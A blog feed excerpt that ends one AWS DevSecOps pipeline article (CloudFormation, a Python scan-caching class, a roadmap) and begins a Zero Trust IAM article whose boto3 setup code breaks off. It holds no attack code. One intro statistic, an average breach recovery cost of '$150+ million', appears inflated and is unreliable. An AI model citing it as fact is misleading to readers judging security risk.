          <span class="pi">-</span> <span class="s">CodeCommit Repository State Change</span>
        <span class="na">detail</span><span class="pi">:</span>
          <span class="na">event</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="s">referenceCreated</span>
            <span class="pi">-</span> <span class="s">referenceUpdated</span>
          <span class="na">referenceName</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="s">main</span>
          <span class="na">repositoryName</span><span class="pi">:</span>
            <span class="pi">-</span> <span class="kt">!GetAtt</span> <span class="s">SecureRepository.Name</span>
      <span class="na">State</span><span class="pi">:</span> <span class="s">ENABLED</span>
      <span class="na">Targets</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">Arn</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">arn:aws:codepipeline:${AWS::Region}:${AWS::AccountId}:pipeline/${DevSecOpsPipeline}'</span>
          <span class="na">Id</span><span class="pi">:</span> <span class="s">DevSecOpsPipelineTarget</span>
          <span class="na">RoleArn</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">PipelineTriggerRole.Arn</span>

  <span class="na">PipelineTriggerRole</span><span class="pi">:</span>
    <span class="na">Type</span><span class="pi">:</span> <span class="s">AWS::IAM::Role</span>
    <span class="na">Properties</span><span class="pi">:</span>
      <span class="na">AssumeRolePolicyDocument</span><span class="pi">:</span>
        <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
        <span class="na">Statement</span><span class="pi">:</span>
          <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
            <span class="na">Principal</span><span class="pi">:</span>
              <span class="na">Service</span><span class="pi">:</span> <span class="s">events.amazonaws.com</span>
            <span class="na">Action</span><span class="pi">:</span> <span class="s">sts:AssumeRole</span>
      <span class="na">Policies</span><span class="pi">:</span>
        <span class="pi">-</span> <span class="na">PolicyName</span><span class="pi">:</span> <span class="s">StartPipelinePolicy</span>
          <span class="na">PolicyDocument</span><span class="pi">:</span>
            <span class="na">Version</span><span class="pi">:</span> <span class="s1">'</span><span class="s">2012-10-17'</span>
            <span class="na">Statement</span><span class="pi">:</span>
              <span class="pi">-</span> <span class="na">Effect</span><span class="pi">:</span> <span class="s">Allow</span>
                <span class="na">Action</span><span class="pi">:</span>
                  <span class="pi">-</span> <span class="s">codepipeline:StartPipelineExecution</span>
                <span class="na">Resource</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">arn:aws:codepipeline:${AWS::Region}:${AWS::AccountId}:pipeline/${DevSecOpsPipeline}'</span>

<span class="na">Outputs</span><span class="pi">:</span>
  <span class="na">PipelineName</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">Name of the DevSecOps pipeline</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">DevSecOpsPipeline</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-PipelineName'</span>
  
  <span class="na">RepositoryCloneUrl</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">HTTPS clone URL for the repository</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!GetAtt</span> <span class="s">SecureRepository.CloneUrlHttp</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-RepositoryUrl'</span>
  
  <span class="na">ContainerRepositoryUri</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">ECR repository URI</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::AccountId}.dkr.ecr.${AWS::Region}.amazonaws.com/${ContainerRepository}'</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-ContainerRepositoryUri'</span>
  
  <span class="na">SecurityAlertsTopicArn</span><span class="pi">:</span>
    <span class="na">Description</span><span class="pi">:</span> <span class="s">SNS topic ARN for security alerts</span>
    <span class="na">Value</span><span class="pi">:</span> <span class="kt">!Ref</span> <span class="s">SecurityAlertsTopic</span>
    <span class="na">Export</span><span class="pi">:</span>
      <span class="na">Name</span><span class="pi">:</span> <span class="kt">!Sub</span> <span class="s1">'</span><span class="s">${AWS::StackName}-SecurityAlertsTopic'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="best-practices-and-recommendations">Best Practices and Recommendations</h2>

<h3 id="implementation-guidelines">Implementation Guidelines</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Incremental Integration</strong>: Start with basic security scanning and gradually add advanced features</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Security Gate Tuning</strong>: Calibrate security thresholds based on organizational risk tolerance</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Tool Chain Optimization</strong>: Select security tools that integrate well with existing development workflows</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Performance Monitoring</strong>: Track pipeline execution times and optimize for developer productivity</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Feedback Loop Implementation</strong>: Ensure security findings are actionable and trackable</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" /><strong>Training and Adoption</strong>: Provide comprehensive training on new security processes and tools</li>
</ul>

<h3 id="security-considerations">Security Considerations</h3>

<p><strong>Pipeline Security</strong>:</p>
<ul>
  <li>Use IAM roles with least privilege principles for all pipeline components</li>
  <li>Encrypt all artifacts and logs using customer-managed KMS keys</li>
  <li>Implement secure credential management using AWS Secrets Manager</li>
  <li>Enable comprehensive audit logging for all pipeline activities</li>
  <li>Regularly rotate access keys and review permissions</li>
</ul>

<p><strong>Code Security</strong>:</p>
<ul>
  <li>Implement branch protection rules requiring security scan approval</li>
  <li>Use signed commits and GPG verification for code integrity</li>
  <li>Implement automated dependency updates with security scanning</li>
  <li>Establish security coding standards and automated enforcement</li>
  <li>Implement secrets detection at commit time using git hooks</li>
</ul>

<p><strong>Infrastructure Security</strong>:</p>
<ul>
  <li>Use Infrastructure as Code for all security configurations</li>
  <li>Implement drift detection and automatic remediation</li>
  <li>Use immutable infrastructure patterns where possible</li>
  <li>Implement network segmentation for pipeline components</li>
  <li>Regular security assessment of pipeline infrastructure</li>
</ul>

<h3 id="performance-optimization">Performance Optimization</h3>

<p><strong>Pipeline Optimization</strong>:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
</pre></td><td class="rouge-code"><pre><span class="c1"># Optimize security scanning with intelligent caching
</span><span class="k">class</span> <span class="nc">SecurityScanOptimizer</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">cache_duration</span> <span class="o">=</span> <span class="mi">3600</span>  <span class="c1"># 1 hour
</span>        <span class="n">self</span><span class="p">.</span><span class="n">scan_cache</span> <span class="o">=</span> <span class="p">{}</span>
        
    <span class="k">def</span> <span class="nf">should_skip_scan</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">scan_type</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">code_hash</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Determine if scan can be skipped based on cache</span><span class="sh">"""</span>
        <span class="n">cache_key</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">scan_type</span><span class="si">}</span><span class="s">:</span><span class="si">{</span><span class="n">code_hash</span><span class="si">}</span><span class="sh">"</span>
        
        <span class="k">if</span> <span class="n">cache_key</span> <span class="ow">in</span> <span class="n">self</span><span class="p">.</span><span class="n">scan_cache</span><span class="p">:</span>
            <span class="n">cached_result</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">scan_cache</span><span class="p">[</span><span class="n">cache_key</span><span class="p">]</span>
            <span class="n">age</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="nf">timestamp</span><span class="p">()</span> <span class="o">-</span> <span class="n">cached_result</span><span class="p">[</span><span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">]</span>
            
            <span class="c1"># Skip scan if recent and no critical issues found
</span>            <span class="k">if</span> <span class="n">age</span> <span class="o">&lt;</span> <span class="n">self</span><span class="p">.</span><span class="n">cache_duration</span> <span class="ow">and</span> <span class="n">cached_result</span><span class="p">[</span><span class="sh">'</span><span class="s">critical_issues</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
                <span class="k">return</span> <span class="bp">True</span>
        
        <span class="k">return</span> <span class="bp">False</span>
    
    <span class="k">def</span> <span class="nf">cache_scan_result</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">scan_type</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">code_hash</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">results</span><span class="p">:</span> <span class="nb">dict</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Cache scan results for future reference</span><span class="sh">"""</span>
        <span class="n">cache_key</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">scan_type</span><span class="si">}</span><span class="s">:</span><span class="si">{</span><span class="n">code_hash</span><span class="si">}</span><span class="sh">"</span>
        
        <span class="n">self</span><span class="p">.</span><span class="n">scan_cache</span><span class="p">[</span><span class="n">cache_key</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="nf">timestamp</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">critical_issues</span><span class="sh">'</span><span class="p">:</span> <span class="n">results</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">results</span><span class="sh">'</span><span class="p">:</span> <span class="n">results</span>
        <span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Resource Management</strong>:</p>
<ul>
  <li>Use appropriate CodeBuild instance sizes based on scan complexity</li>
  <li>Implement parallel scanning where possible to reduce pipeline time</li>
  <li>Use container image caching for faster builds</li>
  <li>Optimize artifact transfer between pipeline stages</li>
  <li>Monitor and tune security tool configurations for performance</li>
</ul>

<h2 id="implementation-roadmap">Implementation Roadmap</h2>

<h3 id="phase-1-foundation-weeks-1-2">Phase 1: Foundation (Weeks 1-2)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy basic CI/CD pipeline with CodePipeline and CodeBuild</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement source code secret scanning with TruffleHog</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add basic dependency vulnerability scanning with Safety/npm audit</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure SNS notifications for security findings</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish basic security gates for critical vulnerabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Train development team on new security processes</li>
</ul>

<h3 id="phase-2-enhanced-security-scanning-weeks-3-4">Phase 2: Enhanced Security Scanning (Weeks 3-4)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement SAST analysis with Semgrep and language-specific tools</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add container image scanning with Trivy and ECR integration</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure Dockerfile security scanning with Hadolint</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement basic DAST testing with OWASP ZAP</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add infrastructure scanning with Checkov and tfsec</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish security metrics and reporting dashboards</li>
</ul>

<h3 id="phase-3-advanced-testing-and-compliance-weeks-5-6">Phase 3: Advanced Testing and Compliance (Weeks 5-6)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement comprehensive DAST testing with custom security tests</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add compliance validation for SOC 2, HIPAA, and industry standards</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure AWS Config rules for continuous compliance monitoring</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement Prowler for CIS benchmark compliance checking</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add runtime security monitoring with Falco for container workloads</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish compliance reporting and audit trails</li>
</ul>

<h3 id="phase-4-container-and-kubernetes-security-weeks-7-8">Phase 4: Container and Kubernetes Security (Weeks 7-8)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy secure EKS cluster with comprehensive security configurations</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement Kubernetes security policies and RBAC</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add network policies and pod security standards</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure runtime security monitoring for containerized applications</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement image admission controllers with policy enforcement</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish container security baseline and monitoring</li>
</ul>

<h3 id="phase-5-optimization-and-advanced-features-weeks-9-10">Phase 5: Optimization and Advanced Features (Weeks 9-10)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement intelligent caching and performance optimization</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add machine learning-based anomaly detection for security events</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure automated incident response workflows</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement advanced compliance reporting and audit capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add integration with external security tools and threat intelligence</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Conduct comprehensive security assessment and penetration testing</li>
</ul>

<h2 id="related-articles">Related Articles</h2>

<ul>
  <li><a href="/posts/aws-lambda-security-automated-threat-detection-2025/">AWS Lambda Security: Automated Threat Detection Systems</a></li>
  <li><a href="/posts/aws-iam-zero-trust-identity-network-deep-dive/">AWS IAM Zero Trust: Identity and Network Deep Dive</a></li>
  <li><a href="/posts/aws-container-security-eks-fargate-implementation/">AWS Container Security: EKS and Fargate Implementation Guide</a></li>
  <li><a href="/posts/aws-security-hub-centralized-management/">AWS Security Hub: Centralized Security Management</a></li>
</ul>

<h2 id="additional-resources">Additional Resources</h2>

<h3 id="official-documentation">Official Documentation</h3>
<ul>
  <li><a href="https://docs.aws.amazon.com/codepipeline/latest/userguide/">AWS CodePipeline User Guide</a> - Complete CI/CD pipeline configuration and best practices</li>
  <li><a href="https://docs.aws.amazon.com/codebuild/latest/userguide/">AWS CodeBuild User Guide</a> - Build automation and security integration</li>
  <li><a href="https://docs.aws.amazon.com/eks/latest/userguide/security-best-practices.html">Amazon EKS Security Best Practices</a> - Kubernetes security implementation</li>
  <li><a href="https://docs.aws.amazon.com/securityhub/latest/userguide/">AWS Security Hub User Guide</a> - Centralized security findings management</li>
</ul>

<h3 id="tools-and-frameworks">Tools and Frameworks</h3>
<ul>
  <li><a href="https://owasp.org/www-project-devsecops-guideline/">OWASP DevSecOps Guideline</a> - Industry standard DevSecOps practices</li>
  <li><a href="https://semgrep.dev/">Semgrep Static Analysis</a> - Multi-language static analysis security testing</li>
  <li><a href="https://trivy.dev/">Trivy Container Scanner</a> - Comprehensive container vulnerability scanning</li>
  <li><a href="https://www.checkov.io/">Checkov Infrastructure Scanner</a> - Infrastructure as Code security scanning</li>
</ul>

<h3 id="industry-reports-and-research">Industry Reports and Research</h3>
<ul>
  <li><a href="https://www.sonatype.com/state-of-the-software-supply-chain">2025 DevSecOps Survey</a> - Current DevSecOps adoption trends</li>
  <li><a href="https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204C.pdf">NIST DevSecOps Reference Architecture</a> - Government DevSecOps guidance</li>
  <li><a href="https://www.cisecurity.org/controls">CIS Controls Implementation</a> - Security control framework implementation</li>
  <li><a href="https://www.sans.org/white-papers/devsecops-survey/">SANS DevSecOps Survey</a> - Industry DevSecOps practices and challenges</li>
</ul>

<h3 id="community-resources">Community Resources</h3>
<ul>
  <li><a href="https://www.devsecops.org/">DevSecOps Community</a> - Community resources and best practices</li>
  <li><a href="https://devsecops.awssecworkshops.com/">AWS DevSecOps Workshop</a> - Hands-on DevSecOps implementation</li>
  <li><a href="https://cloudsecurityalliance.org/">Cloud Security Alliance</a> - Cloud security research and guidance</li>
  <li><a href="https://owasp.org/www-project-security-champions-guidebook/">OWASP Security Champions</a> - Security champion program guidance</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>Implementing comprehensive security automation in AWS DevSecOps pipelines represents a fundamental shift toward proactive security that scales with development velocity. This approach transforms security from a bottleneck into an enabler, allowing teams to deliver secure software faster while maintaining strict security and compliance standards.</p>

<p>Key benefits of this DevSecOps implementation include:</p>
<ul>
  <li><strong>Early Detection</strong>: Security issues identified and resolved in minutes rather than months</li>
  <li><strong>Automated Compliance</strong>: Continuous validation against industry standards and regulatory requirements</li>
  <li><strong>Developer Empowerment</strong>: Self-service security capabilities that don’t impede development productivity</li>
  <li><strong>Scalable Security</strong>: Automated processes that scale with organizational growth and complexity</li>
  <li><strong>Risk Reduction</strong>: Comprehensive coverage across the entire software development lifecycle</li>
</ul>

<p>The success of DevSecOps automation depends on careful tool selection, proper security gate calibration, and strong collaboration between development, security, and operations teams. Organizations must balance security requirements with development velocity while ensuring that security becomes an integral part of the development culture.</p>

<p>For personalized guidance on implementing DevSecOps automation in your AWS environment, <a href="https://www.linkedin.com/in/jonpricelinux/">connect with Jon Price on LinkedIn</a>.</p>]]></content><author><name>Jon (JR) Price</name></author><category term="AWS" /><category term="DevSecOps" /><category term="aws-codepipeline" /><category term="aws-security" /><category term="cicd-security" /><category term="compliance-automation" /><category term="container-security" /><category term="dast" /><category term="sast" /><category term="security-automation" /><summary type="html"><![CDATA[Comprehensive guide to implementing security automation in AWS DevSecOps pipelines with CodePipeline, container scanning, SAST/DAST integration, and compliance frameworks.]]></summary></entry><entry><title type="html">AWS IAM Zero Trust: Identity and Network Deep Dive for 2025</title><link href="https://red-team.sh/posts/aws-iam-zero-trust-identity-network-deep-dive/" rel="alternate" type="text/html" title="AWS IAM Zero Trust: Identity and Network Deep Dive for 2025" /><published>2025-09-22T07:00:00-07:00</published><updated>2025-09-22T07:00:00-07:00</updated><id>https://red-team.sh/posts/aws-iam-zero-trust-identity-network-deep-dive</id><content type="html" xml:base="https://red-team.sh/posts/aws-iam-zero-trust-identity-network-deep-dive/"><![CDATA[<h2 id="introduction">Introduction</h2>

<p>As cyber attacks targeting cloud infrastructure intensify in 2025, traditional perimeter-based security models prove inadequate against sophisticated threats. With over half of AWS enterprises having identities capable of escalating privileges to super admin roles without approval, implementing Zero Trust architecture has become a critical security imperative.</p>

<p>This comprehensive guide demonstrates how to build a robust Zero Trust implementation using AWS IAM, combining identity verification, network segmentation, and continuous validation to protect against modern security threats.</p>

<h3 id="current-landscape-statistics">Current Landscape Statistics</h3>

<ul>
  <li><strong>Privilege Escalation Risk</strong>: More than 50% of AWS enterprises have hidden privilege escalation paths that can grant admin access without approval</li>
  <li><strong>Identity Compromise</strong>: 82% of data breaches in 2025 involved cloud data, with credential theft being the primary attack vector</li>
  <li><strong>Detection Gap</strong>: The average time to detect a cloud breach remains 277 days, emphasizing the need for continuous verification</li>
  <li><strong>Human Error Factor</strong>: 88% of cloud security breaches stem from human error, including improper access management and credential misuse</li>
  <li><strong>Cost of Compromise</strong>: AWS security breaches now average $150+ million in recovery costs, making prevention critical for business continuity</li>
</ul>

<h2 id="zero-trust-architecture-fundamentals">Zero Trust Architecture Fundamentals</h2>

<h3 id="core-principles-for-aws-implementation">Core Principles for AWS Implementation</h3>

<p>Zero Trust operates on the principle of “never trust, always verify,” fundamentally changing how we approach cloud security architecture:</p>

<p><img src="/assets/img/diagrams/iam-zero-trust-architecture.png" alt="AWS IAM Zero Trust Architecture" class="shadow" w="800" />
<em>AWS IAM Zero Trust architecture with identity verification and network segmentation</em></p>

<h3 id="aws-zero-trust-components">AWS Zero Trust Components</h3>

<p><strong>Identity Layer</strong>:</p>
<ul>
  <li>AWS IAM Identity Center (SSO) for centralized authentication</li>
  <li>IAM policies with conditional access controls</li>
  <li>AWS Cognito for application user management</li>
  <li>Active Directory integration via AWS Directory Service</li>
</ul>

<p><strong>Network Layer</strong>:</p>
<ul>
  <li>VPC with segmented subnets and security groups</li>
  <li>AWS PrivateLink for service communication</li>
  <li>VPC endpoints for secure service access</li>
  <li>Network ACLs for subnet-level security</li>
</ul>

<p><strong>Application Layer</strong>:</p>
<ul>
  <li>Application Load Balancer with WAF integration</li>
  <li>API Gateway with authentication and authorization</li>
  <li>Lambda authorizers for custom access control</li>
  <li>AWS AppConfig for dynamic security policies</li>
</ul>

<h2 id="implementing-identity-centric-zero-trust">Implementing Identity-Centric Zero Trust</h2>

<h3 id="iam-identity-center-configuration">IAM Identity Center Configuration</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Optional</span>

<span class="k">class</span> <span class="nc">ZeroTrustIdentityManager</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">sso_admin</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">sso-admin</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">identitystore</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">identitystore</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">iam</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">iam</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">organizations</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">organizations</span><span class="sh">'</span><span class="p">)</span>
        
    <span class="k">def</span> <span class="nf">setup_identity_center_instance</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Configure AWS IAM Identity Center for Zero Trust</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Get or create Identity Center instance
</span>            <span class="n">instances</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">sso_admin</span><span class="p">.</span><span class="nf">list_instances</span><span class="p">()</span>
            
            <span class="k">if</span> <span class="n">instances</span><span class="p">[</span><span class="sh">'</span><span class="s">Instances</span><span class="sh">'</span><span class="p">]:</span>
                <span class="n">instance_arn</span> <span class="o">=</span> <span class="n">instances</span><span class="p">[</span><span class="sh">'</span><span class="s">Instances</span><span class="sh">'</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="sh">'</span><span class="s">InstanceArn</span><span class="sh">'</span><span class="p">]</span>
                <span class="n">identity_store_id</span> <span class="o">=</span> <span class="n">instances</span><span class="p">[</span><span class="sh">'</span><span class="s">Instances</span><span class="sh">'</span><span class="p">][</span><span class="mi">0</span><span class="p">][</span><span class="sh">'</span><span class="s">IdentityStoreId</span><span class="sh">'</span><span class="p">]</span>
            <span class="k">else</span><span class="p">:</span>
                <span class="c1"># Create new instance if none exists
</span>                <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">sso_admin</span><span class="p">.</span><span class="nf">create_instance</span><span class="p">(</span>
                    <span class="n">Name</span><span class="o">=</span><span class="sh">'</span><span class="s">ZeroTrustIdentityCenter</span><span class="sh">'</span><span class="p">,</span>
                    <span class="n">Description</span><span class="o">=</span><span class="sh">'</span><span class="s">Zero Trust identity management for enterprise AWS access</span><span class="sh">'</span>
                <span class="p">)</span>
                <span class="n">instance_arn</span> <span class="o">=</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">InstanceArn</span><span class="sh">'</span><span class="p">]</span>
                <span class="n">identity_store_id</span> <span class="o">=</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">IdentityStoreId</span><span class="sh">'</span><span class="p">]</span>
            
            <span class="c1"># Configure identity source
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">configure_identity_source</span><span class="p">(</span><span class="n">instance_arn</span><span class="p">)</span>
            
            <span class="c1"># Set up permission sets
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">create_zero_trust_permission_sets</span><span class="p">(</span><span class="n">instance_arn</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">instance_arn</span><span class="sh">'</span><span class="p">:</span> <span class="n">instance_arn</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">identity_store_id</span><span class="sh">'</span><span class="p">:</span> <span class="n">identity_store_id</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">configured</span><span class="sh">'</span>
            <span class="p">}</span>
            
